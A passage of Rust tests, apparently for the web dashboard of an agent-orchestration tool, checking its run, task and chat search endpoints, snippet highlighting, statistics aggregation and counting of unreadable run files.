15795            "one unreadable run must not cost the operator the whole history"
15796        );
15797        assert_eq!(detail.status, 500);
15798        assert!(
15799            detail.json()["error"]
15800                .as_str()
15801                .is_some_and(|e| e.contains("run.json")),
15802            "the failure names the file to look at: {}",
15803            detail.body
15804        );
15805        // A skipped run has to be countable somewhere, or the UI shows an
15806        // empty history with nothing to explain it - which is exactly what a
15807        // directory full of older-schema runs looks like.
15808        let health = f.get("/api/health").await;
15809        assert_eq!(health.json()["runs_unreadable"], 1);
15810    }
15811
15812    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
15813    #[tokio::test]
15814    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15815        let f = Fixture::start().await;
15816        let runs = f.runs();
15817        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15818        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15819        // Text three levels down, in a shape no current RunState has: an older
15820        // schema must still search.
15821        let path = runs.join("20260902-140502-bbbb").join("run.json");
15822        let mut v: serde_json::Value =
15823            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15824        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15825        std::fs::write(&path, v.to_string()).unwrap();
15826        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15827        std::fs::write(
15828            runs.join("20260902-140503-cccc").join("run.json"),
15829            "{ not json",
15830        )
15831        .unwrap();
15832
15833        let res = f.get("/api/search?scope=runs&q=quokka").await;
15834        assert_eq!(res.status, 200, "{}", res.body);
15835        let v = res.json();
15836        assert_eq!(v["total"], 1, "{v}");
15837        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15838        assert_eq!(v["hits"][0]["field"], "text");
15839        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15840        let parts = v["hits"][0]["snippet"].as_array().unwrap();
15841        assert!(
15842            parts
15843                .iter()
15844                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15845            "{v}"
15846        );
15847        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15848        assert_eq!(
15849            flat, "The Quokka leaks across threads",
15850            "whitespace is collapsed"
15851        );
15852
15853        // Terms are ANDed, across different fields, case-insensitively.
15854        let both = f
15855            .get("/api/search?scope=runs&q=MOBILE%20quokka")
15856            .await
15857            .json();
15858        assert_eq!(both["total"], 1, "{both}");
15859        let neither = f
15860            .get("/api/search?scope=runs&q=quokka%20zebra")
15861            .await
15862            .json();
15863        assert_eq!(neither["total"], 0, "{neither}");
15864        // Everything in the task statement is reachable, not only the row text.
15865        let stmt = f
15866            .get("/api/search?scope=runs&q=mobile%20first")
15867            .await
15868            .json();
15869        assert_eq!(stmt["total"], 2, "{stmt}");
15870        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15871        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15872    }
15873
15874    #[test]
15875    fn snippet_ignores_terms_longer_than_the_field() {
15876        let terms = ["ok".to_owned(), "elephant".to_owned()];
15877        let parts = snippet_of("ok", &terms);
15878        assert_eq!(
15879            parts,
15880            vec![SnippetPart {
15881                text: "ok".to_owned(),
15882                hit: true
15883            }]
15884        );
15885    }
15886
15887    #[test]
15888    fn snippet_marks_matches_longer_than_the_window() {
15889        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15890        let hit_len = |parts: &[SnippetPart]| -> usize {
15891            parts
15892                .iter()
15893                .filter(|p| p.hit)
15894                .map(|p| p.text.chars().count())
15895                .sum()
15896        };
15897        let total =
15898            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
15899
15900        let long = "a".repeat(120);
15901        let parts = snippet_of(&long, std::slice::from_ref(&long));
15902        assert!(hit_len(&parts) > 0, "{parts:?}");
15903        assert!(total(&parts) <= cap);
15904
15905        let ja = "あ".repeat(130);
15906        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
15907        assert!(hit_len(&parts) > 0, "{parts:?}");
15908        assert!(total(&parts) <= cap);
15909
15910        // A short hit, then one straddling the window's end.
15911        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
15912        let term = format!("ab{}", "c".repeat(100));
15913        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
15914        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
15915        assert!(total(&parts) <= cap);
15916
15917        // Only the head matches: not highlighted.
15918        let text = format!("{}z", "a".repeat(119));
15919        let parts = snippet_of(&text, &["a".repeat(120)]);
15920        assert_eq!(hit_len(&parts), 0, "{parts:?}");
15921    }
15922
15923    #[tokio::test]
15924    async fn search_caps_hits_and_snippet_length() {
15925        let f = Fixture::start().await;
15926        let runs = f.runs();
15927        for n in 0..(SEARCH_MAX_HITS + 5) {
15928            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
15929        }
15930        let v = f.get("/api/search?scope=runs&q=web").await.json();
15931        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
15932        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
15933        assert_eq!(v["truncated"], true);
15934        // Every listed run hit carries its list row for the page's filters.
15935        assert!(
15936            v["hits"]
15937                .as_array()
15938                .unwrap()
15939                .iter()
15940                .all(|h| h["run"]["status"] == "merged")
15941        );
15942
15943        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
15944        let parts = snippet_of(&long, &["needle".to_owned()]);
15945        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
15946        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
15947        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
15948    }
15949
15950    #[tokio::test]
15951    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
15952        let f = Fixture::start().await;
15953        let queue = f.queue();
15954        let mut t = Task::new(
15955            "short title".to_owned(),
15956            "line one\nthe hidden Armadillo detail".to_owned(),
15957            PathBuf::from("/repo/magi"),
15958            Source::Agent {
15959                run: "r1".to_owned(),
15960                node: "chat".to_owned(),
15961            },
15962        );
15963        t.last_error = Some("disk full on /tmp".to_owned());
15964        queue.put(&mut t).expect("file the task");
15965
15966        for (q, want) in [
15967            ("armadillo", 1),
15968            ("disk%20FULL", 1),
15969            ("chat", 1),
15970            ("queued", 1),
15971            ("short%20nothing", 0),
15972        ] {
15973            let v = f
15974                .get(&format!("/api/search?scope=tasks&q={q}"))
15975                .await
15976                .json();
15977            assert_eq!(v["total"], want, "{q}: {v}");
15978        }
15979        for bad in [
15980            "/api/search?scope=tasks&q=",
15981            "/api/search?scope=tasks&q=%20",
15982            "/api/search?scope=chats&q=",
15983            "/api/search?scope=chats&q=%20",
15984            "/api/search?scope=nope&q=a",
15985            "/api/search?q=a",
15986        ] {
15987            assert_eq!(f.get(bad).await.status, 400, "{bad}");
15988        }
15989    }
15990
15991    /// Write one conversation file the way the store reads it back.
15992    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
15993        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
15994            .expect("seat value");
15995        let turns: Vec<serde_json::Value> = turns
15996            .iter()
15997            .map(|(who, body)| {
15998                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15999            })
16000            .collect();
16001        let doc = serde_json::json!({
16002            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16003            "status": status, "turns": turns,
16004            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16005            "seat": seat,
16006        });
16007        let dir = f.home.path().join("talks");
16008        std::fs::create_dir_all(&dir).expect("talks dir");
16009        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16010    }
16011
16012    #[tokio::test]
16013    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16014        let f = Fixture::start().await;
16015        write_talk(
16016            &f,
16017            "20260901-000001-aaaa",
16018            "open",
16019            &[
16020                (
16021                    "operator",
16022                    "\n  Why does the Pangolin cache expire?\nsecond line",
16023                ),
16024                ("agent", "Because the TTL is thirty seconds."),
16025            ],
16026        );
16027        write_talk(
16028            &f,
16029            "20260901-000002-bbbb",
16030            "closed",
16031            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16032        );
16033        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16034
16035        let search = |q: &'static str| {
16036            let f = &f;
16037            async move {
16038                f.get(&format!("/api/search?scope=chats&q={q}"))
16039                    .await
16040                    .json()
16041            }
16042        };
16043
16044        let v = search("PANGOLIN").await;
16045        assert_eq!(v["scope"], "chats");
16046        assert_eq!(v["total"], 1, "{v}");
16047        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16048        assert_eq!(v["hits"][0]["field"], "title");
16049        assert_eq!(v["unreadable"], 1, "{v}");
16050        let marked: Vec<&str> = v["hits"][0]["snippet"]
16051            .as_array()
16052            .unwrap()
16053            .iter()
16054            .filter(|p| p["hit"] == true)
16055            .map(|p| p["text"].as_str().unwrap())
16056            .collect();
16057        assert_eq!(marked, ["Pangolin"]);
16058
16059        // An agent turn, in a closed conversation.
16060        let v = search("zebra").await;
16061        assert_eq!(v["total"], 1, "{v}");
16062        assert_eq!(v["hits"][0]["field"], "agent");
16063        // Words may sit in different turns; all must be present.
16064        assert_eq!(search("pangolin%20thirty").await["total"], 1);
16065        assert_eq!(search("pangolin%20zebra").await["total"], 0);
16066        // Bookkeeping is not searched.
16067        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16068            assert_eq!(search(q).await["total"], 0, "{q}");
16069        }
16070        // The first line only is the title; the second line is still a turn.
16071        assert_eq!(search("second").await["hits"][0]["field"], "operator");
16072        // Open conversations are listed before closed ones.
16073        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16074
16075        let v = f.get("/api/search?scope=nope&q=a").await;
16076        assert_eq!(v.status, 400);
16077        assert!(
16078            v.body.contains("scope must be runs, tasks or chats"),
16079            "{}",
16080            v.body
16081        );
16082    }
16083
16084    #[test]
16085    fn a_question_card_links_a_task_id_to_the_task_page() {
16086        let start = APP_JS
16087            .find("function updateAskCard(")
16088            .expect("updateAskCard exists");
16089        let body = &APP_JS[start..];
16090        let body = &body[..body.find("\n}\n").expect("function end")];
16091        assert!(body.contains("question.run_is_task"));
16092        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16093        assert!(body.contains("`#/runs/${question.run}`"));
16094        assert!(body.contains("\"task\" : \"run\""));
16095    }
16096
16097    #[test]
16098    fn plain_text_message_surfaces_go_through_linkify() {
16099        assert!(APP_JS.contains("function linkify("));
16100        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16101        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16102        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16103        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16104        assert!(!APP_JS.contains("innerHTML = text"));
16105    }
16106
16107    #[test]
16108    fn implementation_rate_views_keep_independent_samples() {
16109        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16110            let a = stats::AgentStats {
16111                competitive_entered: competitive_n,
16112                competitive_wins: usize::from(competitive_n > 0),
16113                solo_entered: solo_n,
16114                solo_adopted: 2 * usize::from(solo_n > 0),
16115                ..Default::default()
16116            };
16117            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16118            for (key, n, numerator) in [
16119                ("competitive_win_rate", competitive_n, a.competitive_wins),
16120                ("solo_adoption_rate", solo_n, a.solo_adopted),
16121            ] {
16122                if n == 0 {
16123                    assert!(v[key].is_null());
16124                } else {
16125                    assert_eq!(v[key]["denominator"], n);
16126                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16127                }
16128            }
16129        }
16130        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16131        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16132        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16133        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16134    }
16135
16136    #[test]
16137    fn stats_bars_share_one_id_keyed_plan() {
16138        let start = APP_JS
16139            .find("function statsBarRows(")
16140            .expect("statsBarRows exists");
16141        let body = &APP_JS[start..];
16142        let body = &body[..body.find("\n}\n").expect("function end")];
16143        assert!(body.contains("statsBarPlan(rows)"));
16144        assert!(body.contains("statsAgentTone(row.agent)"));
16145        assert!(!body.contains("candTone(i)"));
16146        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16147        for root in [
16148            "stats-agents-bars",
16149            "stats-solo-bars",
16150            "stats-reviewers-bars",
16151        ] {
16152            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16153        }
16154    }
16155
16156    #[test]
16157    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16158        let start = APP_JS
16159            .find("function renderStatsReviewerScatter(")
16160            .expect("renderStatsReviewerScatter exists");
16161        let body = &APP_JS[start..];
16162        let body = &body[..body.find("\n}\n").expect("function end")];
16163        assert!(body.contains("statsScatterPlan(reviewers)"));
16164        assert!(body.contains("statsAgentTone(d.agent)"));
16165        assert!(APP_JS.contains("function statsScatterPlan("));
16166        assert!(
16167            APP_JS.contains("d.submitted < STATS_LOW_N")
16168                || APP_JS.contains("r.submitted < STATS_LOW_N")
16169        );
16170        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16171        assert!(APP_CSS.contains(".precision-scatter"));
16172    }
16173
16174    #[test]
16175    fn advisor_reflection_is_drawn_as_stacked_segments() {
16176        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16177        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16178        let html = include_str!("../assets/ui/index.html");
16179        assert!(html.contains("Approximate"));
16180        for label in ["reflected strongly", "faint", "no proposal"] {
16181            assert!(html.contains(label));
16182        }
16183        let css = include_str!("../assets/ui/app.css");
16184        for c in ["refl-strong", "refl-faint", "refl-absent"] {
16185            assert!(css.contains(&format!(".{c} {{")));
16186        }
16187    }
16188
16189    #[test]
16190    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16191        assert!(APP_JS.contains("function statsDailyPlan("));
16192        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16193        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16194    }
16195
16196    #[test]
16197    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16198        let start = APP_JS
16199            .find("function scheduleSearch(")
16200            .expect("scheduleSearch exists");
16201        let body = &APP_JS[start..];
16202        let body = &body[..body.find("\n}\n").expect("function end")];
16203        assert!(body.contains("s.seq += 1"));
16204    }
16205
16206    /// The dashboard reads every run's state itself rather than trusting a
16207    /// separately-maintained count, so an unreadable run must be counted the
16208    /// same way `/api/health` counts it - never silently dropped the way the
16209    /// CLI's own `stats::load_all` drops it.
16210    #[tokio::test]
16211    async fn stats_runs_unreadable_matches_health() {
16212        let f = Fixture::start().await;
16213        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16214        let broken = f.runs().join("20260902-140502-bad");
16215        std::fs::create_dir_all(&broken).expect("run dir");
16216        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16217
16218        let stats = f.get("/api/stats").await;
16219        let health = f.get("/api/health").await;
16220
16221        assert_eq!(stats.status, 200);
16222        assert_eq!(stats.json()["totals"]["runs"], 1);
16223        assert_eq!(stats.json()["runs_unreadable"], 1);
16224        assert_eq!(
16225            stats.json()["runs_unreadable"],
16226            health.json()["runs_unreadable"],
16227            "the dashboard and /api/health must never disagree about how many \
16228             runs could not be read"
16229        );
16230    }
16231
16232    #[tokio::test]
16233    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16234        let f = Fixture::start().await;
16235        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16236        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16237        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16238
16239        let totals = &f.get("/api/stats").await.json()["totals"];
16240        assert_eq!(totals["runs"], 3);
16241        assert_eq!(totals["merged"], 1);
16242        assert_eq!(totals["stalled"], 1);
16243        assert_eq!(totals["in_progress"], 1);
16244        // A stalled run must never read as blocked/merged/ready - it is its
16245        // own bucket, not folded into a "decided" one.
16246        assert_eq!(totals["blocked"], 0);
16247        assert_eq!(totals["ready"], 0);
16248    }
16249
16250    #[tokio::test]
16251    async fn stats_advisors_report_proposals_and_reflection() {
16252        use crate::advise::{Advice, AdvisorRecord, Reflection};
16253        use crate::verdict::Proposal;
16254
16255        let f = Fixture::start().await;
16256        let mut state = RunState::new(
16257            PathBuf::from("/repo/magi"),
16258            "main".to_owned(),
16259            "0123456789abcdef".to_owned(),
16260            "task".to_owned(),
16261            Config::default(),
16262        );
16263        state.id = "20260902-140501-a".to_owned();
16264        state.status = RunStatus::Merged;
16265        state.advice = Some(Advice {
16266            records: vec![
16267                AdvisorRecord {
16268                    seat: "advisor-1".to_owned(),
16269                    agent: "alpha".to_owned(),
16270                    proposal: Some(Proposal {
16271                        approach: "do it".to_owned(),
16272                        key_tradeoff: "speed over memory".to_owned(),
16273                        risks: Vec::new(),
16274                        touches: Vec::new(),
16275                        why_not_naive: "breaks under load".to_owned(),
16276                    }),
16277                    error: None,
16278                    duration_ms: 0,
16279                    reflection: Reflection::Strong,
16280                },
16281                AdvisorRecord {
16282                    seat: "advisor-2".to_owned(),
16283                    agent: "alpha".to_owned(),
16284                    proposal: None,
16285                    error: Some("timed out".to_owned()),
16286                    duration_ms: 0,
16287                    reflection: Reflection::Absent,
16288                },
16289            ],
16290            synthesis: Some("blended brief".to_owned()),
16291        });
16292        let dir = f.runs().join(&state.id);
16293        std::fs::create_dir_all(&dir).expect("run dir");
16294        std::fs::write(
16295            dir.join("run.json"),
16296            serde_json::to_string_pretty(&state).expect("serialize run"),
16297        )
16298        .expect("write run.json");
16299
16300        // `alpha` is in no roster here; this test is about the rates.
16301        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16302        let alpha = advisors
16303            .as_array()
16304            .expect("an array")
16305            .iter()
16306            .find(|a| a["agent"] == "alpha")
16307            .expect("alpha row");
16308        assert_eq!(alpha["seated"], 2);
16309        assert_eq!(alpha["proposed"], 1);
16310        assert_eq!(alpha["absent"], 1);
16311        assert_eq!(alpha["strong"], 1);
16312        assert_eq!(alpha["faint"], 0);
16313        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16314    }
16315
16316    #[tokio::test]
16317    async fn stats_hides_agents_outside_the_roster_unless_all() {
16318        use crate::run::Candidate;
16319        let repo = TempDir::new().expect("repo dir");
16320        std::fs::write(
16321            repo.path().join("magi.toml"),
16322            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16323        )
16324        .expect("magi.toml");
16325        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16326        let mut state = RunState::new(
16327            PathBuf::from("/repo/magi"),
16328            "main".to_owned(),
16329            "0123456789abcdef".to_owned(),
16330            "task".to_owned(),
16331            Config::default(),
16332        );
16333        state.id = "20260902-140501-a".to_owned();
16334        state.status = RunStatus::Merged;
16335        for (label, agent) in [('A', "keep"), ('B', "retired")] {
16336            let mut c: Candidate = serde_json::from_value(serde_json::json!({
16337                "index": 0, "label": label.to_string(), "agent": agent,
16338                "branch": "b", "worktree": "/w",
16339            }))
16340            .expect("candidate");
16341            c.label = label;
16342            state.candidates.push(c);
16343        }
16344        let dir = f.runs().join(&state.id);
16345        std::fs::create_dir_all(&dir).expect("run dir");
16346        std::fs::write(
16347            dir.join("run.json"),
16348            serde_json::to_string_pretty(&state).expect("serialize run"),
16349        )
16350        .expect("write run.json");
16351
16352        let agents_of = |v: &serde_json::Value| -> Vec<String> {
16353            v["agents"]
16354                .as_array()
16355                .expect("array")
16356                .iter()
16357                .map(|a| a["agent"].as_str().unwrap().to_owned())
16358                .collect()
16359        };
16360        let hidden = f.get("/api/stats").await.json();
16361        assert_eq!(agents_of(&hidden), ["keep"]);
16362        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16363        assert_eq!(hidden["totals"]["runs"], 1);
16364
16365        let all = f.get("/api/stats?all=true").await.json();
16366        assert_eq!(agents_of(&all).len(), 2);
16367        assert_eq!(all["retired_hidden"], serde_json::json!([]));
16368        // Verify competitive and solo keys exist on agent entries
16369        let keep_agent = all["agents"]
16370            .as_array()
16371            .unwrap()
16372            .iter()
16373            .find(|a| a["agent"] == "keep")
16374            .unwrap();
16375        assert_eq!(keep_agent["competitive_entered"], 1);
16376        assert_eq!(keep_agent["competitive_wins"], 0);
16377        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16378        assert_eq!(keep_agent["solo_entered"], 0);
16379        assert_eq!(keep_agent["solo_adopted"], 0);
16380        assert!(keep_agent["solo_adoption_rate"].is_null());
16381    }
16382
16383    #[tokio::test]
16384    async fn stats_release_bumps_split_clean_from_attention() {
16385        use crate::run::ReleaseBump;
16386
16387        let f = Fixture::start().await;
16388
16389        let mut clean = RunState::new(
16390            PathBuf::from("/repo/magi"),
16391            "main".to_owned(),
16392            "0123456789abcdef".to_owned(),
16393            "task".to_owned(),
16394            Config::default(),
16395        );
16396        clean.id = "20260902-140501-a".to_owned();
16397        clean.status = RunStatus::Merged;
16398        clean.release_bump = Some(ReleaseBump {
16399            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16400            version: Some("1.0.0".to_owned()),
16401            automerge_enabled: true,
16402            merged_directly: false,
16403            local: false,
16404            release: None,
16405            problem: None,
16406            action_required: None,
16407        });
16408
16409        let mut blocked = RunState::new(
16410            PathBuf::from("/repo/magi"),
16411            "main".to_owned(),
16412            "0123456789abcdef".to_owned(),
16413            "task".to_owned(),
16414            Config::default(),
16415        );
16416        blocked.id = "20260902-140502-b".to_owned();
16417        blocked.status = RunStatus::Merged;
16418        blocked.release_bump = Some(ReleaseBump {
16419            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16420            version: Some("1.0.1".to_owned()),
16421            automerge_enabled: false,
16422            merged_directly: false,
16423            local: false,
16424            release: None,
16425            problem: Some("checks red".to_owned()),
16426            action_required: Some("look at the PR".to_owned()),
16427        });
16428
16429        for state in [&clean, &blocked] {
16430            let dir = f.runs().join(&state.id);
16431            std::fs::create_dir_all(&dir).expect("run dir");
16432            std::fs::write(
16433                dir.join("run.json"),
16434                serde_json::to_string_pretty(state).expect("serialize run"),
16435            )
16436            .expect("write run.json");
16437        }
16438
16439        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16440        assert_eq!(bumps["merged"], 2);
16441        assert_eq!(bumps["recorded"], 2);
16442        assert_eq!(bumps["pr_opened"], 2);
16443        assert_eq!(bumps["automerge_enabled"], 1);
16444        assert_eq!(bumps["needs_attention"], 1);
16445        assert_eq!(bumps["clean"], 1);
16446        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16447        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16448    }
16449
16450    #[tokio::test]
16451    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16452        let f = Fixture::start().await;
16453        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16454
16455        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16456        assert_eq!(bumps["merged"], 1);
16457        assert_eq!(bumps["recorded"], 0);
16458        // `merged` is nonzero, so coverage still reads as a real 0%, not an
16459        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
16460        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16461        // `pr_opened` and `recorded` are both zero here, so these rates have
16462        // no denominator to compute from and must be null.
16463        assert_eq!(bumps["automerge_rate"], Value::Null);
16464        assert_eq!(bumps["attention_rate"], Value::Null);
16465    }
16466
16467    #[tokio::test]
16468    async fn stats_queue_counts_come_from_the_live_queue() {
16469        let f = Fixture::start().await;
16470        let q = f.queue();
16471        let mut queued = Task::new(
16472            "queued task".to_owned(),
16473            "do it".to_owned(),
16474            PathBuf::from("/repo"),
16475            Source::Human,
16476        );
16477        q.put(&mut queued).expect("put queued");
16478        let mut held = Task::new(
16479            "held task".to_owned(),
16480            "do it later".to_owned(),
16481            PathBuf::from("/repo"),
16482            Source::Human,
16483        );
16484        held.hold_machine(Some("out of attempts".to_owned()));
16485        q.put(&mut held).expect("put held");
16486
16487        let queue = f.get("/api/stats").await.json()["queue"].clone();
16488        assert_eq!(queue["queued"], 1);
16489        assert_eq!(queue["held"], 1);
16490        assert_eq!(queue["running"], 0);
16491        assert_eq!(queue["done"], 0);
16492        assert_eq!(queue["failed"], 0);
16493        assert_eq!(queue["blocked"], 0);
16494    }
16495
16496    #[tokio::test]
16497    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16498        let f = Fixture::start().await;
16499        let stats = f.get("/api/stats").await;
16500        assert_eq!(stats.status, 200);
16501        assert_eq!(stats.json()["totals"]["runs"], 0);
16502        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16503        assert_eq!(stats.json()["runs_unreadable"], 0);
16504        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16505        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16506        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16507        assert_eq!(stats.json()["repo"], Value::Null);
16508    }
16509
16510    #[tokio::test]
16511    async fn stats_lists_every_repository_with_runs_recorded() {
16512        let f = Fixture::start().await;
16513        write_run_repo(
16514            &f.runs(),
16515            "20260902-140501-a",
16516            RunStatus::Merged,
16517            "/repos/a",
16518        );
16519        write_run_repo(
16520            &f.runs(),
16521            "20260902-140502-b",
16522            RunStatus::Merged,
16523            "/repos/a",
16524        );
16525        write_run_repo(
16526            &f.runs(),
16527            "20260902-140503-c",
16528            RunStatus::Blocked,
16529            "/repos/b",
16530        );
16531
16532        let stats = f.get("/api/stats").await;
16533        assert_eq!(stats.status, 200);
16534        // Unfiltered - the aggregate across both repositories.
16535        assert_eq!(stats.json()["totals"]["runs"], 3);
16536        assert_eq!(stats.json()["repo"], Value::Null);
16537
16538        let repos = stats.json()["repos"].clone();
16539        let repos = repos.as_array().unwrap();
16540        assert_eq!(repos.len(), 2);
16541        // Busiest (2 runs) first.
16542        assert_eq!(repos[0]["repo"], "/repos/a");
16543        assert_eq!(repos[0]["name"], "a");
16544        assert_eq!(repos[0]["runs"], 2);
16545        assert_eq!(repos[1]["repo"], "/repos/b");
16546        assert_eq!(repos[1]["runs"], 1);
16547    }
16548
16549    #[tokio::test]
16550    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16551        let f = Fixture::start().await;
16552        write_run_repo(
16553            &f.runs(),
16554            "20260902-140501-a",
16555            RunStatus::Merged,
16556            "/repos/a",
16557        );
16558        write_run_repo(
16559            &f.runs(),
16560            "20260902-140502-b",
16561            RunStatus::Blocked,
16562            "/repos/b",
16563        );
16564
16565        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16566        assert_eq!(stats.status, 200);
16567        assert_eq!(stats.json()["totals"]["runs"], 1);
16568        assert_eq!(stats.json()["totals"]["merged"], 1);
16569        assert_eq!(stats.json()["repo"], "/repos/a");
16570        // The repository list itself is unaffected by the filter - it is
16571        // what a client switches repositories from.
16572        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16573        // runs_unreadable is a whole-workload count, never scoped to the
16574        // selected repository - see StatsView::runs_unreadable's own doc.
16575        assert_eq!(stats.json()["runs_unreadable"], 0);
16576    }
16577
16578    #[tokio::test]
16579    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16580        let f = Fixture::start().await;
16581        write_run_repo(
16582            &f.runs(),
16583            "20260902-140501-a",
16584            RunStatus::Merged,
16585            "/repos/a",
16586        );
16587        write_run_repo(
16588            &f.runs(),
16589            "20260902-140502-b",
16590            RunStatus::Merged,
16591            "/repos/b",
16592        );
16593
16594        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16595            let json = f.get(uri).await.json();
16596            let daily = json["daily"].as_array().expect("daily is an array");
16597            assert_eq!(daily.len(), 30);
16598            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16599            let mut sorted = dates.clone();
16600            sorted.sort();
16601            assert_eq!(dates, sorted);
16602            for d in daily {
16603                assert_eq!(
16604                    d["merged"].as_u64().unwrap()
16605                        + d["ready"].as_u64().unwrap()
16606                        + d["other"].as_u64().unwrap(),
16607                    d["runs"].as_u64().unwrap()
16608                );
16609            }
16610            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16611        }
16612    }
16613
16614    #[tokio::test]
16615    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16616        let f = Fixture::start().await;
16617        write_run_repo(
16618            &f.runs(),
16619            "20260902-140501-a",
16620            RunStatus::Merged,
16621            "/repos/a",
16622        );
16623
16624        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16625        assert_eq!(stats.status, 404);
16626    }
16627
16628    #[tokio::test]
16629    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16630        let f = Fixture::start().await;
16631        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16632
16633        let summary = f.get("/api/runs").await.json();
16634        let row = &summary[0];
16635        assert_eq!(row["short"], "a1b2");
16636        assert_eq!(row["status"], "ready");
16637        assert_eq!(row["done"], true);
16638        assert_eq!(row["title"], "Add a web UI");
16639        assert_eq!(row["repo_name"], "magi");
